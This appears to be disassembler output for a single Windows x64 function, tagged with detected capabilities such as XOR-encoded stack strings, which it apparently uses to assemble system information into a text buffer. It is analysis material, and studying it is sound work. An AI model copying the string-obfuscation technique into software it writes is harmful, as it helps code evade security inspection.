Function at 0x1400df398
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x530]
sub rsp, 0x630
mov r15, rcx
xor esi, esi
lea r12d, [rsi + 7]
mov al, r12b
mov byte [rsp + 0x40], al
xor ecx, ecx
mov byte [rsp + 0x41], cl
mov dword [rsp + 0x42], 0x7e0074
mov dword [rsp + 0x46], 0x580074
lea r13d, [rsi + 0x58]
mov dword [rsp + 0x4a], 0x69006e
mov dword [rsp + 0x4e], 0x680061
mov dword [rsp + 0x52], 0x730029
mov dword [rsp + 0x56], 0x73007f
mov word [rsp + 0x5a], si
mov ecx, esi
movsx eax, al
xor word [rsp + rcx*2 + 0x42], ax
inc rcx
cmp rcx, 0xc
jae 0x1400df424
mov al, byte [rsp + 0x40]
jmp 0x1400df40d
mov word [rsp + 0x5a], si
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], r12
mov word [rbp - 0x80], si
lea rdx, [rsp + 0x42]
lea rcx, [rbp - 0x80]
call fcn.140002cdc
nop
mov r14d, 8
cmp qword [r15 + 0x10], rsi
jne 0x1400df4b7
lea rax, [rbp - 0x80]
cmp r15, rax
je 0x1400df547
mov rbx, qword [rbp - 0x70]
lea r9, [rbp - 0x80]
cmp qword [rbp - 0x68], r14
cmovae r9, qword [rbp - 0x80]
cmp rbx, qword [r15 + 0x18]
ja 0x1400df4a0
mov rdi, r15
cmp qword [r15 + 0x18], r14
jb 0x1400df484
mov rdi, qword [r15]
mov qword [r15 + 0x10], rbx
lea r8, [rbx + rbx]
mov rdx, r9
mov rcx, rdi
call fcn.140175840
mov word [rdi + rbx*2], si
jmp 0x1400df547
mov r8b, byte [rbp + 0x570]
mov rdx, rbx
mov rcx, r15
call fcn.140003104
jmp 0x1400df547
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x1400df547
movabs rax, 0x7ffffffffffffffe
mov rdx, qword [0x140213fb8]
sub rax, rdx
cmp rax, rcx
jb 0x1400e0a28
lea r9, [0x140213fa8]
cmp qword [reloc.WS2_32.dll_getsockopt], r14
cmovae r9, qword [0x140213fa8]
lea rax, [rbp - 0x80]
cmp qword [rbp - 0x68], r14
cmovae rax, qword [rbp - 0x80]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x60]
call fcn.1400033dc
nop
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], r14
cmovae rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x70]
mov rcx, r15
call fcn.140003088
nop
lea rcx, [rsp + 0x60]
call fcn.14000299c
nop
mov ebx, 0x1000
mov rdx, qword [rbp - 0x68]
cmp rdx, r14
jb 0x1400df587
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, rbx
jb 0x1400df582
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e0a2e
call fcn.140173310
mov qword [rbp - 0x20], rsi
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x10], xmm0
lea rdx, [0x14021d640]
lea rcx, [rbp - 0x20]
call fcn.140005338
nop
lea rcx, [rbp + 0x60]
call fcn.1400de4d0
mov rcx, rax
lea rdx, [rbp + 0x270]
mov eax, 2
lea r8d, [rax + 0x7e]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
add rdx, r8
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
add rcx, r8
sub rax, 1
jne 0x1400df5c0
mov rax, qword [rcx]
mov qword [rdx], rax
mov eax, dword [rcx + 8]
mov dword [rdx + 8], eax
mov word [rbp + 0x578], 0xa12
mov byte [rbp + 0x57a], sil
mov edi, reloc.WS2_32.dll_recv
mov dword [rbp + 0x580], edi
lea rdx, [rbp + 0x580]
lea rcx, [rsp + 0x40]
call fcn.1400e9774
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], r12
mov word [rsp + 0x60], si
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140002cdc
nop
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], r14
cmovae rdx, qword [rsp + 0x60]
lea rcx, [rbp - 0x40]
call fcn.1400ddf2c
nop
movdqa xmm0, xmmword [0x1401f5be0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x50], sil
mov rdx, rsi
mov cl, byte [rsp + 0x40]
xor byte [rsp + rdx + 0x41], cl
inc rdx
cmp rdx, 0xf
jb 0x1400df696
mov byte [rsp + 0x50], sil
lea rcx, [rsp + 0x41]
or r12, 0xffffffffffffffff
mov r9, r12
inc r9
cmp byte [rcx + r9], sil
jne 0x1400df6b8
lea r8, [rsp + 0x41]
xor edx, edx
mov rcx, rax
call fcn.140046160
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], sil
lea rax, [rbp + 0x579]
mov r8, r12
inc r8
cmp byte [rax + r8], sil
jne 0x1400df704
lea rdx, [rbp + 0x579]
lea rcx, [rbp - 0x80]
call fcn.1400052c0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], sil
lea rdx, [rsp + 0x40]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, rdi
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rbp - 0x20]
call fcn.1400052c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, rdi
jb 0x1400df7a4
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, rbx
jb 0x1400df79e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e0a34
call fcn.140173310
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, rdi
jb 0x1400df7da
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, rbx
jb 0x1400df7d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e0a3a
call fcn.140173310
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], sil
mov rdx, qword [rbp - 0x28]
cmp rdx, rdi
jb 0x1400df820
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, rbx
jb 0x1400df81b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e0a40
call fcn.140173310
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x40], sil
mov rdx, qword [rsp + 0x78]
cmp rdx, r14
jb 0x1400df86d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, rbx
jb 0x1400df868
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e0a46
call fcn.140173310
mov word [rbp + 0x578], 0xa19
mov byte [rbp + 0x57a], sil
mov dword [rbp + 0x580], 0x101
lea rdx, [rbp + 0x580]
lea rcx, [rbp + 0x60]
call fcn.1400e95a4
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], si
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x60]
call fcn.140002cdc
nop
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], r14
cmovae rdx, qword [rsp + 0x60]
lea rcx, [rbp - 0x60]
call fcn.1400ddf2c
mov r10, rax
mov cl, 0x7b
mov dword [rsp + 0x40], 0x1e082e7b
mov dword [rsp + 0x44], 0x161a1509
mov dword [rsp + 0x48], 0x5b411e
mov rax, rsi
xor byte [rsp + rax + 0x41], cl
inc rax
cmp rax, 0xa
jae 0x1400df90a
mov cl, byte [rsp + 0x40]
jmp 0x1400df8f7
mov byte [rsp + 0x4b], sil
lea rax, [rsp + 0x41]
mov r9, r12
inc r9
cmp byte [rax + r9], sil
jne 0x1400df917
lea r8, [rsp + 0x41]
xor edx, edx
mov rcx, r10
call fcn.140046160
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], sil
lea rax, [rbp + 0x579]
mov r8, r12
inc r8
cmp byte [rax + r8], sil
jne 0x1400df963
lea rdx, [rbp + 0x579]
lea rcx, [rbp - 0x80]
call fcn.1400052c0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], sil
lea rdx, [rbp - 0x40]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, rdi
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rbp - 0x20]
call fcn.1400052c0
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, rdi
jb 0x1400df9fe
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, rbx
jb 0x1400df9f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e0a4c
call fcn.140173310
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, rdi
jb 0x1400dfa34
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, rbx
jb 0x1400dfa2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e0a52
call fcn.140173310
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], sil
lea rcx, [rbp - 0x60]
call fcn.14000511c
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, r14
jb 0x1400dfa8b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, rbx
jb 0x1400dfa86
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e0a58
call fcn.140173310
mov word [rbp + 0x578], 0xa3e
mov byte [rbp + 0x57a], sil
lea rcx, [rbp + 0x60]
call fcn.1400e9c80
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], si
lea rdx, [rbp + 0x64]
lea rcx, [rsp + 0x60]
call fcn.140002cdc
nop
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], r14
cmovae rdx, qword [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.1400ddf2c
mov r8, rax
mov cl, 0x52
mov dword [rsp + 0x40], 0x3f3b0652
mov dword [rsp + 0x44], 0x3c3d2837
mov r14b, reloc.WLDAP32.dll_Ordinal_60
mov dword [rsp + 0x48], 0x726837
mov rax, rsi
xor byte [rsp + rax + 0x41], cl
inc rax
cmp rax, 0xa
jae 0x1400dfb1a
mov cl, byte [rsp + 0x40]
jmp 0x1400dfb07
mov byte [rsp + 0x4b], sil
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x40]
call fcn.140045b34
nop
lea r8, [rbp + 0x579]
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.1400459dc
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], rdi
jb 0x1400dfb4f
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400052c0
nop
lea rcx, [rbp - 0x60]
call fcn.14000511c
nop
lea rcx, [rbp - 0x40]
call fcn.14000511c
nop
lea rcx, [rbp - 0x80]
call fcn.14000511c
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x1400dfbb8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, rbx
jb 0x1400dfbb3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e0a22
call fcn.140173310
lea rcx, [rbp + 0x480]
call fcn.1400ea554
mov word [rbp + 0x578], 0xa77
mov byte [rbp + 0x57a], sil
lea rdx, [rbp + 0x480]
lea rcx, [rsp + 0x60]
call fcn.1400ddf2c
mov r8, rax
movdqa xmm0, xmmword [0x1401f5d60]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x302a75
mov rcx, rsi
mov al, byte [rsp + 0x40]
xor byte [rsp + rcx + 0x41], al
inc rcx
cmp rcx, 0x12
jb 0x1400dfc01
mov byte [rsp + 0x53], sil
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x40]
call fcn.140045b34
nop
lea r8, [rbp + 0x579]
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.1400459dc
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], rdi
jb 0x1400dfc47
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400052c0
nop
lea rcx, [rbp - 0x60]
call fcn.14000511c
nop
lea rcx, [rbp - 0x40]
call fcn.14000511c
nop
lea rcx, [rsp + 0x60]
call fcn.14000511c
mov word [rbp + 0x578], 0xa0a
mov byte [rbp + 0x57a], sil
mov edx, dword [rbp + 0x270]
lea rcx, [rsp + 0x60]
call fcn.1400de724
nop
movdqa xmm0, xmmword [0x1401f5490]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x50], sil
mov rdx, rsi
mov cl, byte [rsp + 0x40]
xor byte [rsp + rdx + 0x41], cl
inc rdx
cmp rdx, 0xf
jb 0x1400dfca9
mov byte [rsp + 0x50], sil
mov r8, rax
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x40]
call fcn.140045b34
nop
lea r8, [rbp + 0x579]
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.1400459dc
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], rdi
jb 0x1400dfcf2
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400052c0
nop
lea rcx, [rbp - 0x60]
call fcn.14000511c
nop
lea rcx, [rbp - 0x40]
call fcn.14000511c
nop
lea rcx, [rsp + 0x60]
call fcn.14000511c
mov word [rbp + 0x578], 0xa4e
mov byte [rbp + 0x57a], sil
mov edx, dword [rbp + 0x274]
lea rcx, [rsp + 0x60]
call fcn.1400de724
nop
movdqa xmm0, xmmword [0x1401f5710]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x50], sil
mov rdx, rsi
mov cl, byte [rsp + 0x40]
xor byte [rsp + rdx + 0x41], cl
inc rdx
cmp rdx, 0xf
jb 0x1400dfd54
mov byte [rsp + 0x50], sil
mov r8, rax
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x40]
call fcn.140045b34
nop
lea r8, [rbp + 0x579]
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.1400459dc
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], rdi
jb 0x1400dfd9d
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400052c0
nop
lea rcx, [rbp - 0x60]
call fcn.14000511c
nop
lea rcx, [rbp - 0x40]
call fcn.14000511c
nop
lea rcx, [rsp + 0x60]
call fcn.14000511c
mov word [rbp + 0x578], 0xa14
mov byte [rbp + 0x57a], sil
lea rdx, [rbp + 0x27c]
lea rcx, [rsp + 0x60]
call fcn.1400ddf2c
nop
movdqa xmm0, xmmword [0x1401f5420]
movdqu xmmword [rsp + 0x40], xmm0
mov rdx, rsi
mov cl, byte [rsp + 0x40]
xor byte [rsp + rdx + 0x41], cl
inc rdx
cmp rdx, 0xe
jb 0x1400dfdfb
mov byte [rsp + 0x4f], sil
mov r8, rax
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x40]
call fcn.140045b34
nop
lea r8, [rbp + 0x579]
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.1400459dc
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], rdi
jb 0x1400dfe44
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400052c0
nop
lea rcx, [rbp - 0x60]
call fcn.14000511c
nop
lea rcx, [rbp - 0x40]
call fcn.14000511c
nop
lea rcx, [rsp + 0x60]
call fcn.14000511c
mov word [rbp + 0x578], 0xa46
mov byte [rbp + 0x57a], sil
mov edx, dword [rbp + 0x278]
lea rcx, [rsp + 0x60]
call fcn.1400de724
nop
mov dl, Ordinal_79
mov dword [rsp + 0x40], 0x273b0c4e
mov dword [rsp + 0x44], 0x6e742a22
mov byte [rsp + 0x48], sil
mov rcx, rsi
xor byte [rsp + rcx + 0x41], dl
inc rcx
cmp rcx, 7
jae 0x1400dfebd
mov dl, byte [rsp + 0x40]
jmp 0x1400dfeaa
mov byte [rsp + 0x48], sil
mov r8, rax
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x40]
call fcn.140045b34
nop
lea r8, [rbp + 0x579]
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.1400459dc
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], rdi
jb 0x1400dfef5
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400052c0
nop
lea rcx, [rbp - 0x60]
call fcn.14000511c
nop
lea rcx, [rbp - 0x40]
call fcn.14000511c
nop
lea rcx, [rsp + 0x60]
call fcn.14000511c
mov word [rbp + 0x578], 0xa34
mov byte [rbp + 0x57a], sil
lea rdx, [rbp + 0x270]
call fcn.1400ea718
mov qword [rsp + 0x60], rsi
movdqa xmm0, xmmword [0x1401f53c0]
movdqu xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x60], si
lea rdx, [rbp + 0x270]
lea rcx, [rsp + 0x60]
call fcn.140002cdc
nop
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rdx, qword [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.1400ddf2c
nop
movdqa xmm0, xmmword [0x1401f5440]
movdqu xmmword [rsp + 0x40], xmm0
mov rdx, rsi
mov cl, byte [rsp + 0x40]
xor byte [rsp + rdx + 0x41], cl
inc rdx
cmp rdx, 0xe
jb 0x1400dff92
mov byte [rsp + 0x4f], sil
mov r8, rax
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x40]
call fcn.140045b34
nop
lea r8, [rbp + 0x579]
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.1400459dc
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], rdi
jb 0x1400dffdb
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400052c0
nop
lea rcx, [rbp - 0x60]
call fcn.14000511c
nop
lea rcx, [rbp - 0x40]
call fcn.14000511c
nop
lea rcx, [rbp - 0x80]
call fcn.14000511c
nop
lea rcx, [rsp + 0x60]
call fcn.14000299c
mov cl, Ordinal_26
mov dword [rsp + 0x40], 0x51421319
mov dword [rsp + 0x44], 0x4e5d4b58
mov dword [rsp + 0x48], 0x445c4b58
mov word [rsp + 0x4c], reloc.WS2_32.dll_send
mov rax, rsi
xor byte [rsp + rax + 0x41], cl
inc rax
cmp rax, 0xc
jae 0x1400e0047
mov cl, byte [rsp + 0x40]
jmp 0x1400e0034
mov byte [rsp + 0x4d], sil
lea rax, [rsp + 0x41]
mov r8, r12
inc r8
cmp byte [rax + r8], sil
jne 0x1400e0054
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x20]
call fcn.1400052c0
xor ecx, ecx
call fcn.1400e9930
mov edi, eax
mov ecx, 1
call fcn.1400e9930
mov ebx, eax
mov sil, 0x7d
mov dl, sil
mov byte [rbp + 0x578], dl
mov dword [rbp + 0x579], 0x773f305d
mov byte [rbp + 0x57d], 0
xor ecx, ecx
xor byte [rbp + rcx + 0x579], dl
inc rcx
cmp rcx, 4
jae 0x1400e00b7
mov dl, byte [rbp + 0x578]
jmp 0x1400e009f
mov byte [rbp + 0x57d], 0
mov dword [rbp + 0x20], 0x40
lea rcx, [rbp + 0x20]
call fcn.1400ea1c8
mov rdx, qword [rbp + 0x28]
shr rdx, 0x14
lea rcx, [rsp + 0x60]
call fcn.14002e960
nop
mov dword [rbp + 0x580], 0x717d6e3c
mov word [rbp + 0x584], 0x1c06
mov byte [rbp + 0x586], 0
xor ecx, ecx
xor byte [rbp + rcx + 0x581], r14b
inc rcx
cmp rcx, 5
jae 0x1400e0117
mov r14b, byte [rbp + 0x580]
jmp 0x1400e00fd
xor r14d, r14d
mov byte [rbp + 0x586], r14b
mov r8, rax
lea rdx, [rbp + 0x581]
lea rcx, [rbp - 0x40]
call fcn.140045b34
nop
lea r8, [rbp + 0x579]
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.1400459dc
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x1400e0157
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400052c0
nop
lea rcx, [rbp - 0x60]
call fcn.14000511c
nop
lea rcx, [rbp - 0x40]
call fcn.14000511c
nop
lea rcx, [rsp + 0x60]
call fcn.14000511c
mov word [rbp + 0x578], 0xa67
mov byte [rbp + 0x57a], r14b
lea rcx, [rbp + 0x20]
call fcn.1400ea010
mov edx, dword [rbp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14002e960
mov r8, rax
mov cl, reloc.WS2_32.dll_setsockopt
mov dword [rsp + 0x40], 0x40455615
mov dword [rsp + 0x44], 0x607a7635
mov dword [rsp + 0x48], 0x352f617b
mov byte [rsp + 0x4c], r14b
mov rax, r14
xor byte [rsp + rax + 0x41], cl
inc rax
cmp rax, 0xb
jae 0x1400e01e0
mov cl, byte [rsp + 0x40]
jmp 0x1400e01cd
mov byte [rsp + 0x4c], r14b
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x40]
call fcn.140045b34
nop
lea r8, [rbp + 0x579]
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.1400459dc
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x1400e0216
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400052c0
nop
lea rcx, [rbp - 0x60]
call fcn.14000511c
nop
lea rcx, [rbp - 0x40]
call fcn.14000511c
nop
lea rcx, [rsp + 0x60]
call fcn.14000511c
mov word [rbp + 0x580], 0xa5a
mov byte [rbp + 0x582], r14b
mov edx, ebx
lea rcx, [rbp + 0x20]
call fcn.14002e960
mov rbx, rax
mov word [rbp + 0x578], 0x7815
mov byte [rbp + 0x57a], r14b
mov edx, edi
lea rcx, [rbp]
call fcn.14002e960
mov r8, rax
mov cl, 0x2f
mov dword [rsp + 0x40], 0x5c4a7d2f
mov dword [rsp + 0x44], 0x5b5a4340
mov dword [rsp + 0x48], 0x15414046
mov word [rsp + 0x4c], reloc.WS2_32.dll_ntohs
mov rax, r14
mov edi, 1
xor byte [rsp + rax + 0x41], cl
add rax, rdi
cmp rax, 0xc
jae 0x1400e02b9
mov cl, byte [rsp + 0x40]
jmp 0x1400e02a6
mov byte [rsp + 0x4d], r14b
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x80]
call fcn.140045b34
nop
lea r8, [rbp + 0x579]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1400459dc
nop
mov r9, rbx
mov r8, rax
mov dl, byte [rbp + 0x570]
lea rcx, [rbp - 0x40]
call fcn.14004624c
nop
lea r8, [rbp + 0x581]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x60]
call fcn.1400459dc
nop
mov r8, qword [rax + 0x10]
mov ebx, reloc.WS2_32.dll_recv
cmp qword [rax + 0x18], rbx
jb 0x1400e031f
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400052c0
nop
lea rcx, [rbp - 0x60]
call fcn.14000511c
nop
lea rcx, [rbp - 0x40]
call fcn.14000511c
nop
lea rcx, [rsp + 0x60]
call fcn.14000511c
nop
lea rcx, [rbp - 0x80]
call fcn.14000511c
nop
lea rcx, [rbp]
call fcn.14000511c
nop
lea rcx, [rbp + 0x20]
call fcn.14000511c
mov word [rbp + 0x578], 0xa6e
mov byte [rbp + 0x57a], r14b
lea rcx, [rbp - 0x40]
call fcn.1400de480
nop
cmp qword [rax + 0x18], 8
jb 0x1400e038c
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.1400ddf2c
nop
mov dl, 0x4c
mov dword [rbp + 0x580], 0x51b044c
mov dword [rbp + 0x584], 0x6c7608
mov rcx, r14
xor byte [rbp + rcx + 0x581], dl
add rcx, rdi
cmp rcx, 6
jae 0x1400e03ca
mov dl, byte [rbp + 0x580]
jmp 0x1400e03b2
mov byte [rbp + 0x587], r14b
mov r8, rax
lea rdx, [rbp + 0x581]
lea rcx, [rbp]
call fcn.140045b34
nop
lea r8, [rbp + 0x579]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.1400459dc
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], rbx
jb 0x1400e0406
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400052c0
nop
lea rcx, [rbp + 0x20]
call fcn.14000511c
nop
lea rcx, [rbp]
call fcn.14000511c
nop
lea rcx, [rbp - 0x60]
call fcn.14000511c
nop
lea rcx, [rbp - 0x40]
call fcn.14000299c
movdqa xmm0, xmmword [0x1401f54c0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x4c1b08
mov rcx, r14
mov al, byte [rsp + 0x40]
xor byte [rsp + rcx + 0x41], al
add rcx, rdi
cmp rcx, 0x12
jb 0x1400e0453
mov byte [rsp + 0x53], r14b
lea rax, [rsp + 0x41]
inc r12
cmp byte [rax + r12], r14b
jne 0x1400e046e
mov r8, r12
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x20]
call fcn.1400052c0
lea rcx, [rbp + 0x20]
call fcn.140052b10
nop
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.1400deb24
nop
lea rcx, [rbp + 0x20]
call fcn.14000511c
mov word [rbp + 0x578], 0xa30
mov byte [rbp + 0x57a], r14b
mov cl, 0x33
mov dword [rbp + 0x580], 0x9637a33
mov word [rbp + 0x584], reloc.WS2_32.dll_send
mov rax, r14
xor byte [rbp + rax + 0x581], cl
add rax, rdi
cmp rax, 4
jae 0x1400e04e8
mov cl, byte [rbp + 0x580]
jmp 0x1400e04d0
mov byte [rbp + 0x585], r14b
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x581]
lea rcx, [rbp - 0x60]
call fcn.140045acc
nop
lea r8, [rbp + 0x579]
mov rdx, rax
lea rcx, [rbp]
call fcn.1400459dc
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], rbx
jb 0x1400e0525
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400052c0
nop
lea rcx, [rbp]
call fcn.14000511c
nop
lea rcx, [rbp - 0x60]
call fcn.14000511c
mov word [rbp + 0x578], 0xa21
mov byte [rbp + 0x57a], r14b
mov cl, 0x5a
mov dword [rbp + 0x580], 0x2e33195a
mov dword [rbp + 0x584], 0x7a6023
mov rax, r14
xor byte [rbp + rax + 0x581], cl
add rax, rdi
cmp rax, 6
jae 0x1400e0586
mov cl, byte [rbp + 0x580]
jmp 0x1400e056e
mov byte [rbp + 0x587], r14b
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x581]
lea rcx, [rbp - 0x60]
call fcn.140045acc
nop
lea r8, [rbp + 0x579]
mov rdx, rax
